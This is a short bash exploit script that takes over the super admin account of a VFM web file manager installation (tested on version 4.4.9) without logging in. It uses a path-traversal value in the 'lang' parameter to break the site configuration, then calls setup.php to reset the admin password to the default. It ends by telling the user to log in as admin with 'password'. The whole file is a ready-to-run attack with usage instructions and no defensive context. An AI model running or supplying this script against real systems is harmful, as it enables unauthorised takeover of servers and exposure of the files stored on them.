#!/usr/bin/env bash

##########################################################
####### UNAUTHENTICATED SUPERADMIN ACCOUNT TAKEOVER ######
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit changes back the super admin account password
# to the default password. If the admin account username is
# not modified taking the super admin account is trivial.

# - Parameter $1 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]]; then
  echo "[ USAGE ] :: ./unauth-superadmin-takeover.sh <url toroot of vfm installation>/"
  exit 1
fi

# Break the current config
echo "[ STEP :: 01 ] :: Breaking the current site config"
curl -X POST "$1/vfm-admin/?lang=../admin-panel/updater/admin-head-updates" &>/dev/null
echo "[ STEP :: 01 ] :: DONE"

# Trigger super admin account password regeneration
echo "[ STEP :: 02 ] :: Triggering super admin password reset to default"
curl -X GET "$1/vfm-admin/setup.php" &>/dev/null
echo "[ STEP :: 02 ] :: DONE"

echo
echo "[ :: COMPLETED :: ]"
echo "Go on to $1 and try to login with default credentials:"
echo "    [ USER :: admin    ]"
echo "    [ PASS :: password ]"